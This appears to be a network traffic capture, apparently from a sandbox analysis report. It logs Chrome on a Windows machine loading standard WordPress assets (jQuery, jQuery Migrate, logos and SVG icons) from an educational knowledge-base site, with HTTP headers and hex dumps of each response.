Mono,Monaco,courier,monospace}.ht-post__content pre,.ht-post__content .wp-block-code{border-radius:3px;background:#f5f5f5;border:none;display:block;padding:25px;margin-bottom:22px;font-size:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49731	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	595	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.4 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:07 UTC	301	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT ETag: "15ed7-5f8cd3212c252" Accept-Ranges: bytes Content-Length: 89815 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 34 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.4 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 26 26 72 5b 32 5d 2c 61 3d 73 26 26 63 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 73 5d 3b 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 64 26 26 61 3d 3d 3d 65 29 7b 69 5b 68 5d 3d 5b 6b 2c 73 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 Data Ascii: 0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 2e 63 61 6c 6c 28 65 29 3a 75 3f 74 28 65 5b 30 5d 2c 6e 29 3a 6f 7d 2c 5f 3d 2f 5e 2d 6d 73 2d 2f 2c 7a 3d 2f 2d 28 5b 61 2d 7a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 55 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 5f 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d Data Ascii: .call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 79 65 28 65 29 2c 61 3d 61 7c 7c 79 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4c 65 28 6f 5b 72 5d 2c 61 5b 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 79 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 76 65 28 61 2c 21 66 26 26 79 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 Data Ascii: !==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ye(e),a=a\|\|ye(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ye(c,"script")).length&&ve(a,!f&&ye(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.speci
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 72 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 76 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 72 74 2e 76 61 6c 75 65 3b 76 61 72 20 70 74 2c 64 74 3d 53 2e 65 78 70 72 2e 61 74 74 72 48 61 6e 64 6c 65 3b 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 42 28 74 68 69 73 2c 53 2e 61 74 74 72 2c 65 2c 74 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 72 65 6d 6f 76 65 41 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 72 65 6d 6f 76 65 41 74 74 72 28 74 68 69 73 2c 65 Data Ascii: .createElement("input")).value="t",rt.type="radio",v.radioValue="t"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return B(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e
2025-04-15 14:03:07 UTC	7895	IN	Data Raw: 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 72 20 5f 74 3d 7b 30 3a 32 30 30 2c 31 32 32 33 3a 32 30 34 7d 2c 7a 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 76 2e 63 6f 72 73 3d 21 21 7a 74 26 26 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 20 7a 74 2c 76 2e 61 6a 61 78 3d 7a 74 3d 21 21 7a 74 2c 53 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 6f 2c 61 3b 69 66 28 76 2e 63 6f 72 73 7c 7c 7a 74 26 26 21 69 2e 63 72 6f Data Ascii: etClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=S.ajaxSettings.xhr();v.cors=!!zt&&"withCredentials"in zt,v.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(v.cors\|\|zt&&!i.cro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49732	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	603	OUT	GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.0 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:07 UTC	300	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT ETag: "3470-5f8cd3212c252" Accept-Ranges: bytes Content-Length: 13424 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:07 UTC	13424	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 34 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 Data Ascii: /! jQuery Migrate v3.4.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49733	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	656	OUT	GET /wp-content/uploads/sites/3/2021/01/logo-en.png HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:07 UTC	263	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 31 Mar 2023 03:59:39 GMT ETag: "1021-5f82a3d07274a" Accept-Ranges: bytes Content-Length: 4129 Connection: close Content-Type: image/png
2025-04-15 14:03:07 UTC	4129	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 90 00 00 00 51 08 06 00 00 00 3d f2 2f a9 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 0f b6 49 44 41 54 78 01 ed 5d fd 75 db 38 0c 47 fa ee ff f3 4d 50 6e 50 df 04 55 27 38 df 04 d1 4d 90 74 82 28 13 24 9d 40 ce 04 49 27 90 3b 41 d2 09 e4 4e 60 df 04 38 c1 02 2c 88 26 25 4a 96 6c f7 aa df 7b 7a b6 f8 01 80 1f 02 49 10 a2 00 0a 20 e2 63 71 e5 9e eb 3d 38 50 84 67 4d f1 63 a2 e0 79 8b 25 22 18 11 44 bf b8 9e 8b 6b c3 fc e8 37 2d 2e 03 03 81 cb 42 f5 78 cb f7 0f 7c 3f 83 0b 84 dd ee ef 38 9c 84 35 fc 1b 0a c3 d7 e8 28 84 bd b3 82 66 4a 86 31 79 66 c5 b5 50 fc e8 37 2e ae 7d 83 0f 00 bb ee e7 Data Ascii: PNGIHDRQ=/pHYssRGBgAMAaIDATx]u8GMPnPU'8Mt($@I';AN`8,&%Jl{zI cq=8PgMcy%"Dk7-.Bx\|?85(fJ1yfP7.}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49734	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	651	OUT	GET /wp-content/themes/knowall/img/loading.svg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:07 UTC	266	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:41:46 GMT ETag: "456-5f98fe5509b11" Accept-Ranges: bytes Content-Length: 1110 Connection: close Content-Type: image/svg+xml
2025-04-15 14:03:07 UTC	1110	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 6e 6f 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 30 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 30 20 33 30 22 20 68 65 69 67 68 74 3d 22 33 30 22 3e 0a 20 3c 63 69 72 63 6c 65 20 63 79 3d 22 31 35 22 20 63 78 3d 22 31 35 22 20 72 3d 22 31 35 22 3e 0a 20 20 3c 61 6e 69 6d 61 74 65 20 62 65 67 69 6e 3d 22 30 73 22 20 66 72 6f 6d 3d 22 31 35 22 20 63 61 6c 63 4d 6f 64 65 3d 22 6c 69 6e 65 61 72 22 20 72 65 70 65 61 74 43 6f 75 6e 74 3d 22 69 6e 64 65 66 69 6e 69 74 65 22 20 61 74 74 72 69 62 Data Ascii: <?xml version="1.0" encoding="UTF-8" standalone="no"?><svg width="120" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120 30" height="30"> <circle cy="15" cx="15" r="15"> <animate begin="0s" from="15" calcMode="linear" repeatCount="indefinite" attrib

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49736	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	700	OUT	GET /wp-content/themes/knowall/img/search.svg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/css/style.css?ver=1.15.4 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	293	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:41:46 GMT ETag: "1ba-5f98fe5509b11" Accept-Ranges: bytes Content-Length: 442 Cache-Control: s-maxage=10 Connection: close Content-Type: image/svg+xml
2025-04-15 14:03:08 UTC	442	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 37 39 32 22 20 68 65 69 67 68 74 3d 22 31 37 39 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 37 39 32 20 31 37 39 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 32 31 36 20 38 33 32 71 30 2d 31 38 35 2d 31 33 31 2e 35 2d 33 31 36 2e 35 74 2d 33 31 36 2e 35 2d 31 33 31 2e 35 2d 33 31 36 2e 35 20 31 33 31 2e 35 2d 31 33 31 2e 35 20 33 31 36 2e 35 20 31 33 31 2e 35 20 33 31 36 2e 35 20 33 31 36 2e 35 20 31 33 31 2e 35 20 33 31 36 2e 35 2d 31 33 31 2e 35 20 31 33 31 2e 35 2d 33 31 36 2e 35 7a 6d 35 31 32 20 38 33 32 71 30 20 35 32 2d 33 38 20 39 30 74 2d 39 30 20 33 38 71 2d 35 34 20 30 2d 39 30 2d 33 38 6c 2d 33 34 Data Ascii: <svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1216 832q0-185-131.5-316.5t-316.5-131.5-316.5 131.5-131.5 316.5 131.5 316.5 316.5 131.5 316.5-131.5 131.5-316.5zm512 832q0 52-38 90t-90 38q-54 0-90-38l-34

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49737	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	439	OUT	GET /wp-content/uploads/sites/3/2021/01/logo-en.png HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	263	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 31 Mar 2023 03:59:39 GMT ETag: "1021-5f82a3d07274a" Accept-Ranges: bytes Content-Length: 4129 Connection: close Content-Type: image/png
2025-04-15 14:03:08 UTC	4129	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 90 00 00 00 51 08 06 00 00 00 3d f2 2f a9 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 0f b6 49 44 41 54 78 01 ed 5d fd 75 db 38 0c 47 fa ee ff f3 4d 50 6e 50 df 04 55 27 38 df 04 d1 4d 90 74 82 28 13 24 9d 40 ce 04 49 27 90 3b 41 d2 09 e4 4e 60 df 04 38 c1 02 2c 88 26 25 4a 96 6c f7 aa df 7b 7a b6 f8 01 80 1f 02 49 10 a2 00 0a 20 e2 63 71 e5 9e eb 3d 38 50 84 67 4d f1 63 a2 e0 79 8b 25 22 18 11 44 bf b8 9e 8b 6b c3 fc e8 37 2d 2e 03 03 81 cb 42 f5 78 cb f7 0f 7c 3f 83 0b 84 dd ee ef 38 9c 84 35 fc 1b 0a c3 d7 e8 28 84 bd b3 82 66 4a 86 31 79 66 c5 b5 50 fc e8 37 2e ae 7d 83 0f 00 bb ee e7 Data Ascii: PNGIHDRQ=/pHYssRGBgAMAaIDATx]u8GMPnPU'8Mt($@I';AN`8,&%Jl{zI cq=8PgMcy%"Dk7-.Bx\|?85(fJ1yfP7.}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49738	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	667	OUT	GET /wp-content/uploads/sites/19/2022/07/section-5-100x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "2410-603b5d0c67163" Accept-Ranges: bytes Content-Length: 9232 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	9232	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49739	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	434	OUT	GET /wp-content/themes/knowall/img/loading.svg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	266	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:41:46 GMT ETag: "456-5f98fe5509b11" Accept-Ranges: bytes Content-Length: 1110 Connection: close Content-Type: image/svg+xml
2025-04-15 14:03:08 UTC	1110	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 6e 6f 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 30 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 30 20 33 30 22 20 68 65 69 67 68 74 3d 22 33 30 22 3e 0a 20 3c 63 69 72 63 6c 65 20 63 79 3d 22 31 35 22 20 63 78 3d 22 31 35 22 20 72 3d 22 31 35 22 3e 0a 20 20 3c 61 6e 69 6d 61 74 65 20 62 65 67 69 6e 3d 22 30 73 22 20 66 72 6f 6d 3d 22 31 35 22 20 63 61 6c 63 4d 6f 64 65 3d 22 6c 69 6e 65 61 72 22 20 72 65 70 65 61 74 43 6f 75 6e 74 3d 22 69 6e 64 65 66 69 6e 69 74 65 22 20 61 74 74 72 69 62 Data Ascii: <?xml version="1.0" encoding="UTF-8" standalone="no"?><svg width="120" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120 30" height="30"> <circle cy="15" cx="15" r="15"> <animate begin="0s" from="15" calcMode="linear" 